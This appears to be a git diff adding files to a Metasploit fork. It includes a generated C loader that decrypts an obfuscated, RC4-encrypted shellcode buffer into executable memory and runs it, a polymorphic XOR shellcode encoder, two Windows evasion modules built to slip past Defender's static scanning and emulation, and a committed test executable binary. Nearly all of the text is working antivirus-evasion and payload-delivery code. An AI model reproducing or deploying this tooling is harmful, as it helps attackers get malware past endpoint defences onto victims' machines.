buf[901] = '\x282'-641; + buf[902] = '\x379'-641; + buf[903] = '\x35e'-641; + buf[904] = '\x2cd'-641; + buf[905] = '\x2f9'-641; + buf[906] = '\x351'-641; + buf[907] = '\x349'-641; + buf[908] = '\x2af'-641; + buf[909] = '\x297'-641; + buf[910] = '\x302'-641; + buf[911] = '\x29b'-641; + buf[912] = '\x373'-641; + buf[913] = '\x2fa'-641; + buf[914] = '\x2a0'-641; + buf[915] = '\x35b'-641; + buf[916] = '\x29f'-641; + buf[917] = '\x363'-641; + buf[918] = '\x37a'-641; + buf[919] = '\x314'-641; + buf[920] = '\x380'-641; + buf[921] = '\x2be'-641; + buf[922] = '\x2bf'-641; + buf[923] = '\x354'-641; + buf[924] = '\x2eb'-641; + buf[925] = '\x285'-641; + buf[926] = '\x343'-641; + buf[927] = '\x321'-641; + buf[928] = '\x2f6'-641; + buf[929] = '\x292'-641; + buf[930] = '\x2d3'-641; + buf[931] = '\x30f'-641; + buf[932] = '\x2e0'-641; + buf[933] = '\x353'-641; + buf[934] = '\x36c'-641; + buf[935] = '\x2c0'-641; + buf[936] = '\x2a8'-641; + buf[937] = '\x35d'-641; + buf[938] = '\x363'-641; + buf[939] = '\x2d8'-641; + buf[940] = '\x2f3'-641; + buf[941] = '\x2ac'-641; + buf[942] = '\x2aa'-641; + buf[943] = '\x37a'-641; + buf[944] = '\x2c4'-641; + buf[945] = '\x2e6'-641; + buf[946] = '\x330'-641; + buf[947] = '\x323'-641; + buf[948] = '\x293'-641; + buf[949] = '\x361'-641; + buf[950] = '\x348'-641; + buf[951] = '\x375'-641; + buf[952] = '\x2e7'-641; + buf[953] = '\x29a'-641; + buf[954] = '\x2f9'-641; + buf[955] = '\x2a3'-641; + buf[956] = '\x2cd'-641; + buf[957] = '\x2b8'-641; + buf[958] = '\x2b1'-641; + buf[959] = '\x34b'-641; + buf[960] = '\x2af'-641; + buf[961] = '\x33f'-641; + buf[962] = '\x291'-641; + buf[963] = '\x335'-641; + buf[964] = '\x37d'-641; + buf[965] = '\x33c'-641; + buf[966] = '\x33e'-641; + buf[967] = '\x2c7'-641; + buf[968] = '\x376'-641; + buf[969] = '\x336'-641; + buf[970] = '\x347'-641; + buf[971] = '\x329'-641; + buf[972] = '\x329'-641; + buf[973] = '\x2c7'-641; + buf[974] = '\x37a'-641; + buf[975] = '\x337'-641; + buf[976] = '\x323'-641; + buf[977] = '\x2fe'-641; + buf[978] = '\x2ad'-641; + buf[979] = '\x32f'-641; + buf[980] = '\x2dc'-641; + buf[981] = '\x2e3'-641; + buf[982] = '\x304'-641; + buf[983] = '\x2e5'-641; + buf[984] = '\x36f'-641; + buf[985] = '\x362'-641; + buf[986] = '\x301'-641; + buf[987] = '\x295'-641; + buf[988] = '\x2e9'-641; + buf[989] = '\x33c'-641; + buf[990] = '\x352'-641; + buf[991] = '\x2a7'-641; + buf[992] = '\x364'-641; + buf[993] = '\x2a2'-641; + buf[994] = '\x2cd'-641; + buf[995] = '\x353'-641; + buf[996] = '\x283'-641; + buf[997] = '\x345'-641; + buf[998] = '\x2c3'-641; + buf[999] = '\x2e3'-641; + buf[1000] = '\x362'-641; + buf[1001] = '\x2b3'-641; + buf[1002] = '\x31c'-641; + buf[1003] = '\x32e'-641; + buf[1004] = '\x2cf'-641; + buf[1005] = '\x325'-641; + buf[1006] = '\x30b'-641; + buf[1007] = '\x2e4'-641; + buf[1008] = '\x301'-641; + buf[1009] = '\x348'-641; + buf[1010] = '\x2fa'-641; + buf[1011] = '\x37e'-641; + buf[1012] = '\x2b9'-641; + buf[1013] = '\x291'-641; + buf[1014] = '\x342'-641; + buf[1015] = '\x2fb'-641; + buf[1016] = '\x37a'-641; + buf[1017] = '\x300'-641; + buf[1018] = '\x37d'-641; + buf[1019] = '\x32d'-641; + buf[1020] = '\x2d8'-641; + buf[1021] = '\x36c'-641; + buf[1022] = '\x36f'-641; + buf[1023] = '\x313'-641; + buf[1024] = '\x2d3'-641; + buf[1025] = '\x31a'-641; + buf[1026] = '\x30c'-641; + buf[1027] = '\x334'-641; + buf[1028] = '\x344'-641; + buf[1029] = '\x324'-641; + buf[1030] = '\x2d4'-641; + buf[1031] = '\x2d0'-641; + buf[1032] = '\x35f'-641; + buf[1033] = '\x2bf'-641; + buf[1034] = '\x35e'-641; + buf[1035] = '\x306'-641; + buf[1036] = '\x31c'-641; + buf[1037] = '\x33d'-641; + buf[1038] = '\x314'-641; + buf[1039] = '\x2ec'-641; + buf[1040] = '\x368'-641; + buf[1041] = '\x2d0'-641; + buf[1042] = '\x369'-641; + buf[1043] = '\x29b'-641; + buf[1044] = '\x34f'-641; + buf[1045] = '\x358'-641; + buf[1046] = '\x36e'-641; + buf[1047] = '\x360'-641; + buf[1048] = '\x2ad'-641; + buf[1049] = '\x2bd'-641; + buf[1050] = '\x2a4'-641; + buf[1051] = '\x287'-641; + buf[1052] = '\x370'-641; + buf[1053] = '\x2c4'-641; + buf[1054] = '\x318'-641; + buf[1055] = '\x2d0'-641; + buf[1056] = '\x2d0'-641; + buf[1057] = '\x2a8'-641; + buf[1058] = '\x30c'-641; + buf[1059] = '\x2fa'-641; + buf[1060] = '\x313'-641; + buf[1061] = '\x290'-641; + buf[1062] = '\x2bf'-641; + buf[1063] = '\x32b'-641; + buf[1064] = '\x2f8'-641; + buf[1065] = '\x310'-641; + buf[1066] = '\x37c'-641; + buf[1067] = '\x2ad'-641; + buf[1068] = '\x30b'-641; + buf[1069] = '\x2ef'-641; + buf[1070] = '\x2be'-641; + buf[1071] = '\x34a'-641; + buf[1072] = '\x2d3'-641; + buf[1073] = '\x360'-641; + buf[1074] = '\x338'-641; + buf[1075] = '\x313'-641; + buf[1076] = '\x288'-641; + buf[1077] = '\x2b3'-641; + buf[1078] = '\x2a4'-641; + buf[1079] = '\x355'-641; + buf[1080] = '\x2df'-641; + buf[1081] = '\x2c7'-641; + buf[1082] = '\x35b'-641; + buf[1083] = '\x2a7'-641; + buf[1084] = '\x30e'-641; + buf[1085] = '\x284'-641; + buf[1086] = '\x2ed'-641; + buf[1087] = '\x2dc'-641; + buf[1088] = '\x2d9'-641; + buf[1089] = '\x283'-641; + buf[1090] = '\x380'-641; + buf[1091] = '\x300'-641; + buf[1092] = '\x315'-641; + buf[1093] = '\x2e8'-641; + buf[1094] = '\x2ae'-641; + buf[1095] = '\x28e'-641; + buf[1096] = '\x2a3'-641; + buf[1097] = '\x36a'-641; + buf[1098] = '\x35f'-641; + buf[1099] = '\x289'-641; + buf[1100] = '\x318'-641; + buf[1101] = '\x2af'-641; + buf[1102] = '\x2d9'-641; + buf[1103] = '\x2d2'-641; + buf[1104] = '\x2b4'-641; + buf[1105] = '\x355'-641; + buf[1106] = '\x37d'-641; + buf[1107] = '\x2aa'-641; + buf[1108] = '\x2e2'-641; + buf[1109] = '\x30d'-641; + buf[1110] = '\x2b0'-641; + buf[1111] = '\x370'-641; + buf[1112] = '\x2e5'-641; + buf[1113] = '\x291'-641; + buf[1114] = '\x337'-641; + buf[1115] = '\x309'-641; + buf[1116] = '\x316'-641; + buf[1117] = '\x2c4'-641; + buf[1118] = '\x2fd'-641; + buf[1119] = '\x2ee'-641; + buf[1120] = '\x347'-641; + buf[1121] = '\x301'-641; + buf[1122] = '\x30f'-641; + buf[1123] = '\x2e1'-641; + buf[1124] = '\x281'-641; + buf[1125] = '\x2d4'-641; + buf[1126] = '\x2ec'-641; + buf[1127] = '\x2c0'-641; + buf[1128] = '\x364'-641; + buf[1129] = '\x282'-641; + buf[1130] = '\x33d'-641; + buf[1131] = '\x285'-641; + buf[1132] = '\x29d'-641; + buf[1133] = '\x2d7'-641; + buf[1134] = '\x2b8'-641; + buf[1135] = '\x35c'-641; + buf[1136] = '\x35a'-641; + buf[1137] = '\x2f5'-641; + buf[1138] = '\x2a9'-641; + buf[1139] = '\x2c3'-641; + buf[1140] = '\x331'-641; + buf[1141] = '\x28c'-641; + buf[1142] = '\x345'-641; + buf[1143] = '\x2d7'-641; + buf[1144] = '\x2b9'-641; + buf[1145] = '\x353'-641; + buf[1146] = '\x32e'-641; + buf[1147] = '\x364'-641; + buf[1148] = '\x2dd'-641; + buf[1149] = '\x2a9'-641; + buf[1150] = '\x31c'-641; + buf[1151] = '\x35f'-641; + buf[1152] = '\x2e0'-641; + buf[1153] = '\x337'-641; + buf[1154] = '\x297'-641; + buf[1155] = '\x321'-641; + buf[1156] = '\x319'-641; + buf[1157] = '\x2e9'-641; + buf[1158] = '\x30d'-641; + buf[1159] = '\x302'-641; + buf[1160] = '\x345'-641; + buf[1161] = '\x28b'-641; + buf[1162] = '\x2f6'-641; + buf[1163] = '\x2c1'-641; + buf[1164] = '\x320'-641; + buf[1165] = '\x333'-641; + buf[1166] = '\x2df'-641; + buf[1167] = '\x33d'-641; + buf[1168] = '\x30f'-641; + buf[1169] = '\x2db'-641; + buf[1170] = '\x2ae'-641; + buf[1171] = '\x370'-641; + buf[1172] = '\x333'-641; + buf[1173] = '\x337'-641; + buf[1174] = '\x2b6'-641; + buf[1175] = '\x290'-641; + buf[1176] = '\x2e7'-641; + buf[1177] = '\x31d'-641; + buf[1178] = '\x31d'-641; + buf[1179] = '\x352'-641; + buf[1180] = '\x316'-641; + buf[1181] = '\x378'-641; + buf[1182] = '\x2f1'-641; + buf[1183] = '\x30a'-641; + buf[1184] = '\x2be'-641; + buf[1185] = '\x342'-641; + buf[1186] = '\x372'-641; + buf[1187] = '\x2e5'-641; + buf[1188] = '\x2e9'-641; + buf[1189] = '\x2b2'-641; + buf[1190] = '\x294'-641; + buf[1191] = '\x2b4'-641; + buf[1192] = '\x32a'-641; + buf[1193] = '\x2bb'-641; + buf[1194] = '\x32f'-641; + buf[1195] = '\x2a2'-641; + buf[1196] = '\x37b'-641; + buf[1197] = '\x36d'-641; + buf[1198] = '\x322'-641; + buf[1199] = '\x2d9'-641; + buf[1200] = '\x351'-641; + buf[1201] = '\x2da'-641; + buf[1202] = '\x303'-641; + buf[1203] = '\x28f'-641; + buf[1204] = '\x2f5'-641; + buf[1205] = '\x28a'-641; + buf[1206] = '\x2e4'-641; + buf[1207] = '\x36c'-641; + buf[1208] = '\x2bc'-641; + buf[1209] = '\x338'-641; + buf[1210] = '\x362'-641; + buf[1211] = '\x316'-641; + buf[1212] = '\x2d4'-641; + buf[1213] = '\x360'-641; + buf[1214] = '\x298'-641; + buf[1215] = '\x37f'-641; + buf[1216] = '\x34a'-641; + buf[1217] = '\x348'-641; + buf[1218] = '\x345'-641; + buf[1219] = '\x33c'-641; + buf[1220] = '\x311'-641; + buf[1221] = '\x2a0'-641; + buf[1222] = '\x35f'-641; + buf[1223] = '\x29c'-641; + buf[1224] = '\x322'-641; + buf[1225] = '\x37c'-641; + buf[1226] = '\x33e'-641; + buf[1227] = '\x35c'-641; + buf[1228] = '\x285'-641; + buf[1229] = '\x2dc'-641; + buf[1230] = '\x313'-641; + buf[1231] = '\x297'-641; + buf[1232] = '\x32f'-641; + buf[1233] = '\x312'-641; + buf[1234] = '\x319'-641; + buf[1235] = '\x376'-641; + buf[1236] = '\x369'-641; + buf[1237] = '\x29d'-641; + buf[1238] = '\x35f'-641; + buf[1239] = '\x2b1'-641; + buf[1240] = '\x2bf'-641; + buf[1241] = '\x2c0'-641; + buf[1242] = '\x2e7'-641; + buf[1243] = '\x30a'-641; + buf[1244] = '\x367'-641; + buf[1245] = '\x312'-641; + buf[1246] = '\x286'-641; + buf[1247] = '\x286'-641; + buf[1248] = '\x2a4'-641; + buf[1249] = '\x2d5'-641; + buf[1250] = '\x359'-641; + buf[1251] = '\x377'-641; + buf[1252] = '\x34b'-641; + buf[1253] = '\x362'-641; + buf[1254] = '\x373'-641; + buf[1255] = '\x2db'-641; + buf[1256] = '\x325'-641; + buf[1257] = '\x34c'-641; + buf[1258] = '\x2a6'-641; + buf[1259] = '\x34e'-641; + buf[1260] = '\x35c'-641; + buf[1261] = '\x355'-641; + buf[1262] = '\x2f0'-641; + buf[1263] = '\x2b2'-641; + buf[1264] = '\x304'-641; + buf[1265] = '\x2e7'-641; + buf[1266] = '\x35e'-641; + buf[1267] = '\x2f0'-641; + buf[1268] = '\x327'-641; + buf[1269] = '\x283'-641; + buf[1270] = '\x2bc'-641; + buf[1271] = '\x28e'-641; + buf[1272] = '\x31a'-641; + buf[1273] = '\x32e'-641; + buf[1274] = '\x2e4'-641; + + LPVOID lpBuf = VirtualAlloc(NULL, size, MEM_COMMIT, 0x00000040); + memset(lpBuf, '\0', size); + + HANDLE proc = OpenProcess(0x1F0FFF, false, 4); + // Checking NULL allows us to get around Real-time protection + if (proc == NULL) { + RC4("UCMDTIpmhpeOPzOnQaCqPRZHztcoWyZaBaLpQXBAmidoZMhiunctUpYVGlHkha", buf, (char*)lpBuf, size); + void (*func)(); + func = (void (*)()) lpBuf; + (void)(*func)(); + } + + return 0; +} \ No newline at end of file diff --git a/modules/encoders/x64/xor_poly.rb b/modules/encoders/x64/xor_poly.rb new file mode 100644 index 000000000000..5425389afe52 --- /dev/null +++ b/modules/encoders/x64/xor_poly.rb @@ -0,0 +1,197 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Encoder::Xor + + def initialize + super( + 'Name' => 'XOR POLY Encoder', + 'Description' => 'An x86 Simple POLY Xor encoding method.', + 'Author' => [ 'Arthur RAOUT' ], + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'KeySize' => 4, + 'BlockSize' => 4, + 'KeyPack' => 'V' + } + ) + end + + # Indicate that this module can preserve some registers + # ...which is currently not true. This is a temp fix + # until the full preserve_registers functionality is + # implemented. + def can_preserve_registers? + true + end + + def choose_permutation(state, table) + table = table.shuffle + for i in 0..table.length - 1 + if table[i].count(state.badchars).zero? + return table[i] + end + end + raise 'No permutation found for the badchar set :' + state.badchars.inspect + end + + # generate instruciton for a push + def register_preservation_generate(flag, regs) + ret = '' + pop = 0b0101_1000 + push = 0b0101_0000 + if flag == 0 + for r in regs + ret += [push | r].pack('C') + end + end + if flag == 1 + for r in regs.reverse + ret += [pop | r].pack('C') + end + end + return ret + end + + def decoder_stub(state) + # calculate the (negative) block count . We should check this against state.badchars. + state.decoder_key_size = 4 + state.decoder_key_pack = 'V' + block_count = [-(((state.buf.length - 1) / state.decoder_key_size) + 1)].pack('V') + block_count_positive = [(((state.buf.length - 1) / state.decoder_key_size) + 1)].pack('V') + + # EAX ECX EDX EBX ESI EDI + regs = [0b0000, 0b0001, 0b0010, 0b0011, 0b0110, 0b0111] + + # POP | REG + pop = 0b0101_1000 + # PUSH | REG + push = 0b0101_0000 + + mov = 0b1011_1000 + + reg1 = regs[rand(6)] + regs.delete(reg1) + reg2 = regs[rand(5)] # Fixed to ECX register for now as long as we use Loop instruction, will be set to random when loop replaced by manual jmp + regs.delete(reg2) # remove it from the list + reg3 = regs[rand(4)] # random register + regs.delete(reg3) # remove it from the list + reg4 = regs[rand(3)] # random register reg4 is useless and used for nopLike operations + regs.delete(reg4) # remove it from the list + + # NOPS + nop_nop_nop_nop = "\x90\x90\x90\x90" # 4 bytes + push_pop12 = [push | reg1, push | reg2, pop | reg2, pop | reg1].pack('CCCC') # 4 bytes + push_pop34 = [push | reg3, push | reg4, pop | reg4, pop | reg3].pack('CCCC') # 4 bytes + push_pop56 = [push | reg4, push | reg1, pop | reg1, pop | reg4].pack('CCCC') # 4 bytes + + sub_reg_0 = [0x83, (0xE8 | rand(6)), 0x00].pack('CCC') # 3 bytes + add_reg_0 = [0x83, (0xc0 | rand(6)), 0x00].pack('CCC') # 3 bytes + add_reg4_1 = [0x83, (0xc0 | reg4), 0x01].pack('CCC') # 3 bytes + add_reg4_33 = [0x83, (0xc0 | reg4), 0x33].pack('CCC') # 3 bytes + add_reg4_f1 = [0x83, (0xc0 | reg4), 0xf1].pack('CCC') # 3 bytes + nop_nop_nop = "\x90\x90\x90" # 3 bytes + + push_pop1 = [push | reg1, pop | reg1].pack('CC') # 2 bytes + push_pop2 = [push | reg2, pop | reg2].pack('CC') # 2 bytes + push_pop3 = [push | reg3, pop | reg3].pack('CC') # 2 bytes + push_pop4 = [push | reg4, pop | reg4].pack('CC') # 2 bytes + inc_reg1_dec_reg1 = [0x40 | reg1, 0x48 | reg1].pack('CC') # 2 bytes + inc_reg2_dec_reg2 = [0x40 | reg2, 0x48 | reg2].pack('CC') # 2 bytes + inc_reg3_dec_reg3 = [0x40 | reg3, 0x48 | reg3].pack('CC') # 2 bytes + inc_reg4_dec_reg4 = [0x40 | reg4, 0x48 | reg4].pack('CC') # 2 bytes + + # nops tables by size + nops_2_bytes = [push_pop1, push_pop2, push_pop3, push_pop4, "\x90\x90", inc_reg1_dec_reg1, inc_reg2_dec_reg2, inc_reg3_dec_reg3, inc_reg4_dec_reg4] + nops_3_bytes = [nop_nop_nop, push_pop1 + "\x90", push_pop2 + "\x90", push_pop3 + "\x90", push_pop4 + "\x90", sub_reg_0, add_reg_0, choose_permutation(state, nops_2_bytes) + "\x90", add_reg4_1, add_reg4_33, add_reg4_f1] + nops_4_bytes = [nop_nop_nop_nop, push_pop12, push_pop34, push_pop56, choose_permutation(state, nops_2_bytes) + choose_permutation(state, nops_2_bytes), choose_permutation(state, nops_3_bytes) + "\x90"] + + # THE DECODER CODE + pop_reg1 = [pop | reg1].pack('C') + + # sub 5 from reg1 on 5 byte + sub_reg1_5 = [0x83, (0xE8 | reg1), 0x05].pack('CCC') + choose_permutation(state, nops_2_bytes) # 5 bytes + add_reg1_neg5 = [0x83, (0xc0 | reg1), 0xfb].pack('CCC') + choose_permutation(state, nops_2_bytes) # 5 bytes + dec_reg1_5 = [0x48 | reg1, 0x48 | reg1, 0x48 | reg1, 0x48 | reg1, 0x48 | reg1].pack('CCCCC') # 5 bytes + + # set reg2 to 0, on 6 bytes + xor_reg2_reg2 = [0x31, (0xC0 | (reg2 << 3) | reg2)].pack('CC') + choose_permutation(state, nops_4_bytes) # 6 bytes + and_reg2_0 = [0x83, (0xE0 | reg2), 0x00].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes + lea_reg2_0 = [0x8D, (0x05 | (reg2 << 3)), 0x00, 0x00, 0x00, 0x00].pack('CCCCCC') + imul_reg2_reg2_0 = [0x6b, (0xC0 | (reg2 << 3) | reg2), 0x00].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes + sub_reg2_reg2 = [0x29, (0xC0 | (reg2 << 3) | reg2)].pack('CC') + choose_permutation(state, nops_4_bytes) # 6 bytes + push0_popreg2 = [0x6A, 0x00, (0x58 | reg2)].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes + + # SET REG2 TO BLOCK_COUNT + sub_reg2_bc = [0x81, (0xe8 | reg2)].pack('CC') + block_count + add_reg2_bc = [0x81, (0xc0 | reg2)].pack('CC') + block_count_positive + + mov_reg3 = [mov | reg3].pack('C') + xor_rel_reg1_reg3 = [0x31, (0x40 | (reg3 << 3 | reg1))].pack('cc') + + # ADD 4 TO REG1 + add_reg1_4 = [0x83, (0xC0 | reg1), 0x04].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes + sub_reg1_neg4 = [0x83, (0xE8 | reg1), 0xFC].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes + inc_reg1_4 = [0x40 | reg1, 0x40 | reg1, 0x40 | reg1, 0x40 | reg1].pack('CCCC') + choose_permutation(state, nops_2_bytes) # 6 bytes + + # sub 1 from reg2 on 6 bytes + dec_r2 = [0xFF, (0xC8 | reg2)].pack('CC') + sub_reg2_1 = [0x83, (0xE8 | reg2), 0x01].pack('CCC') + add_reg2_neg1 = [0x83, (0xC0 | reg2), 0xFF].pack('CCC') + + set_reg2_0 = [xor_reg2_reg2, and_reg2_0, lea_reg2_0, imul_reg2_reg2_0, sub_reg2_reg2, push0_popreg2] + sub_reg1_0x5 = [sub_reg1_5, add_reg1_neg5, dec_reg1_5] + set_reg2_bc = [sub_reg2_bc, add_reg2_bc] + + # GET EIP TO REG1 + call_pop = [0xE8, 0x00, 0x00, 0x00, 0x00].pack('CCCCC') + pop_reg1 + choose_permutation(state, sub_reg1_0x5) + fpu_inst = ["\xD9\xE0", "\xDF\xE9", "\xDB\xC9", "\xDA\xD9", "\xDA\xC1", "\xDA\xD1", "\xDB\xD9"] # 2 bytes + fnstenv_pop = choose_permutation(state, fpu_inst) + "\xD9\x74\x24\xF4" + pop_reg1 + add_reg1_0x4 = [add_reg1_4, sub_reg1_neg4, inc_reg1_4] + dec_reg2 = [dec_r2, sub_reg2_1, add_reg2_neg1] + get_eip = [call_pop, fnstenv_pop] + + small_junk = [choose_permutation(state, nops_2_bytes), choose_permutation(state, nops_3_bytes), choose_permutation(state, nops_4_bytes)] + + reg_for_preservation = [reg1, reg2, reg3, reg4].shuffle + reg_push = register_preservation_generate(0, reg_for_preservation) + reg_pop = register_preservation_generate(1, reg_for_preservation) + geip = choose_permutation(state, get_eip) + junk = choose_permutation(state, small_junk) + reg2_0 = choose_permutation(state, set_reg2_0) + block_count_set = choose_permutation(state, set_reg2_bc) + reg1_add4 = choose_permutation(state, add_reg1_0x4) + decrement_reg2 = choose_permutation(state, dec_reg2) + + decoder = reg_push + + geip + # get EIP into REG1 + junk + # small junk + reg2_0 + # set REG2 to 0 + block_count_set + # sub reg2, block_count + mov_reg3 + 'XXXX' + # mov reg3, 0xKEY_KEY_KEY_KEY + xor_rel_reg1_reg3 + 'LL' + # xor [reg1+DECODER_LEN], reg3 + reg1_add4 + # add reg1, 4 + decrement_reg2 + # dec reg2 + "\x75" + 'SS' + # jnz to xor + reg_pop + + decoder_len = decoder.size + jmp = decoder.index(xor_rel_reg1_reg3) - decoder.index('SS') + decoder.sub! 'SS', [jmp].pack('C') + decoder.sub! 'LL', [decoder_len - 6].pack('C') + # e800000000 call loc._start.continue + # 58 pop eax + # 83e805 sub eax, 5 + # 31c9 xor ecx, ecx + # 81e9bbbbbbbb sub ecx, 0xbbbbbbbb + # bbaaaaaaaa mov ebx, 0xaaaaaaaa + # 31581f xor dword [eax + 0x1f], ebx + # 83e8f4 sub eax, 0xfffffff4 + # e2f8 loop loc._start.check + state.decoder_key_offset = decoder.index('XXXX') + return decoder + end +end diff --git a/modules/evasion/windows/no_shellcode.rb b/modules/evasion/windows/no_shellcode.rb new file mode 100644 index 000000000000..14e3c4a69844 --- /dev/null +++ b/modules/evasion/windows/no_shellcode.rb @@ -0,0 +1,105 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'metasploit/framework/compiler/windows' + +class MetasploitModule < Msf::Evasion + + def initialize(info={}) + super(merge_info(info, + 'Name' => 'No shellcode defined, to reduce detection ratio', + 'Description' => %q{ + This module allows you to generate a Windows EXE without having a large shellcode in the file. and rather have it generated at runtime. This is useful for reducing the detection ratio of your payload. + it will also use few technique to avoid runtime detection such as, + opening non existing files, + querying time from a distant server->sleep->query time again. + calling api function that are not fully emulated by avs. + }, + 'Author' => [ 'Arthur RAOUT' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => [ ['Microsoft Windows', {}] ] + )) + end + + def rc4_key + @rc4_key ||= Rex::Text.rand_text_alpha(32..64) + end + + + def get_payload + @c_payload ||= lambda { + opts = { format: 'rc4', key: rc4_key } + junk = Rex::Text.rand_text(10..1024) + p = payload.encoded + junk + + return { + size: p.length, + hex_format: Msf::Simple::Buffer.transform(p, 'hex', 'buf', opts), + c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts) + } + }.call + end +def get_payload_bytes() + payload = get_payload[:hex_format] + s = "" + i = 0 + j = 0 + print_status("payload : #{payload}") + vector = rand(1..1024) + while j < get_payload[:size] + s += " buf[#{j}] = \'\\x#{((payload[i]+payload[i+1]).hex + vector).to_s(16).rjust(2, "0")}\'-#{vector};\n" + i = i+2 + j = j+1 + end + return s +end + + def c_template + @c_template ||= %Q| +#include + +// The encrypted code allows us to get around static scanning +#define MEM 10000000 + +int size = #{get_payload[:size]}; +char *buf[#{get_payload[:size]}]; + +int main() { + #{get_payload_bytes()} + char *bb = malloc(MEM); + memset(bb, 22, MEM); + free(bb); + +HANDLE mutex; +mutex = CreateMutex(NULL, TRUE, "muuuu"); + if (GetLastError() == ERROR_ALREADY_EXISTS) +{ +; +} +else +{ +exit(0); +} + + // Checking NULL allows us to get around Real-time protection + void (*func)(); + func = (void (*)()) buf; + (void)(*func)(); + + return 0; +}| + end + + def run + i = 0 + # The randomized code allows us to generate a unique EXE + m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: "OK", compile_options: " " }) + bin = m.compile_c(c_template) + print_status("Compiled executable size: #{bin.length}") + file_create(bin) + end +end diff --git a/modules/evasion/windows/test.rb b/modules/evasion/windows/test.rb new file mode 100644 index 000000000000..1d5ab78d5c09 --- /dev/null +++ b/modules/evasion/windows/test.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'metasploit/framework/compiler/windows' + +class MetasploitModule < Msf::Evasion + + def initialize(info={}) + super(merge_info(info, + 'Name' => 'Microsoft Windows Defender Evasive Executable', + 'Description' => %q{ + This module allows you to generate a Windows EXE that evades against Microsoft + Windows Defender. Multiple techniques such as shellcode encryption, source code + obfuscation, Metasm, and anti-emulation are used to achieve this. + + For best results, please try to use payloads that use a more secure channel + such as HTTPS or RC4 in order to avoid the payload network traffic getting + caught by antivirus better. + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => [ ['Microsoft Windows', {}] ] + )) + end + + def rc4_key + @rc4_key ||= Rex::Text.rand_text_alpha(32..64) + end + + def get_payload + @c_payload ||= lambda { + opts = { format: 'rc4', key: rc4_key } + junk = Rex::Text.rand_text(10..1024) + p = payload.encoded + junk + + return { + size: p.length, + c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts) + } + }.call + end + + def c_template + @c_template ||= %Q|#include +#include + +// The encrypted code allows us to get around static scanning +#{get_payload[:c_format]} + +int main() { + int lpBufSize = sizeof(int) * #{get_payload[:size]}; + LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT, 0x00000040); + memset(lpBuf, '\\0', lpBufSize); + + HANDLE proc = OpenProcess(0x1F0FFF, false, 4); + // Checking NULL allows us to get around Real-time protection + if (proc == NULL) { + RC4("#{rc4_key}", buf, (char*) lpBuf, #{get_payload[:size]}); + void (*func)(); + func = (void (*)()) lpBuf; + (void)(*func)(); + } + + return 0; +}| + end + + def run + print_status("source:\n#{c_template}") + # The randomized code allows us to generate a unique EXE + bin = Metasploit::Framework::Compiler::Windows.compile_random_c(c_template) + print_status("Compiled executable size: #{bin.length}") + file_create(bin) + end + +end diff --git a/testings/LLZEbwW.exe b/testings/LLZEbwW.exe new file mode 100644 index 0000000000000000000000000000000000000000..627668c8794e4e5fe6ebb4a89518dc956adc401d GIT binary patch literal 169472 zcmd?Sdwi6|_4vQJELkAo*(fVfpsW%#HmK2fAui}H?8>vSt3gGAg2YA;t5piSTvQ-& zlgjeAl~1eHero&i)2sdTMq4j{wM__@glmARL0XNM>Jt|=Knp?C{k_jTyPE{<<@@&! zUdc0ao|!Xe&YU@O=FFKV;ak?)@@zI+K0m3H&9jJfqWFAs34Uwd6 z^Od=_YDskE+Pb8nb-A`XiUpAV*OP1e%MhEbdUURBdA{k=N!qISX#@2tta|O4dRMpqj}O%oH#+o$?$C;J%`sCzV6;Mn`_|T-JN4Ld2ZY&s2j|*!E#PwqEIzx` zF;n46*fp@|#tA*1W4xxvS{&xRAUM{V6DitQ!YJy-9y4-@JZG0y=*Bj|J6CWd>@Oq2 zRFg{GRaBy_+nv(ZkEN}+50dOYpH;?aQM4S=^+c%DZSG5@QhLHwcOC^5ph>6xDgBFr z|MUI3=2~Hp-DDo=@w{wLPpMn=g?00+x|b=!`|760!w%WzgXI>_`{5g`CwwVA*8Azw zlGp;b1OqE+roxrR_aRtJ*| z#>|&45FPUQ24WFchyB^bZ8Bp6@pmJ#&ohW+u0aItc;9{0-#y~bb$sjzvyAF?@#1W9TwpC!xm| zJN0doOA3I^k5|gL8zHb)?lcQ7wuGTpHzK7A=(tzJp}$NS2P#v#(Z{tBRS!6XX-yYf zOuHO)DNL(+z!@2#C#FHe@)E})#$#~G<>Y1j0VkwYDAI~`g92&t%t?y22g;zW!lLbg z5{sAC0A-pwE8Wy~HLVyQCB13U&C1zy>K;flKB(7o>@&w=m*&hns;$aVY~SWn>`X4u*Na&2ZOK;Hg+VzGLvbHQLFqcDDvJlFe+9P)JM<|X^B0s8z zEnc7-`*owuJX0h*z7*o_qjPG?-cveWhRSQrTyyCssTAYoy>Z6PGg%#O_E}wcF+)?> zI1w_Ah(_@2*B)+HLU9+kw(GHWDBZDijBdOv({Atkdif?uUph=r>1oroNuBz( z7U_qYnaw#sTJ#Osj(J*^F4hx;wm{`OnT`!HpH_|ZBsJ+-f!RKeetr}*{;tR8mIRGg zrzJ*R5u#5a8Z~yCS73e2_s2^s_1LE(x`xKceNEV4juk}lE7NMqH`jNYZ}!~V=G@w9 zHk_o_=IK`7)qHRGSh2MvWcYgZ*rxM?wV|z zo|Yx&3#Z5Oil^Sx94Xdg&FAZ}t}Z>UgJ5%6t63y<%%RdMbHiYA)*v+t8JA@xq4)y# 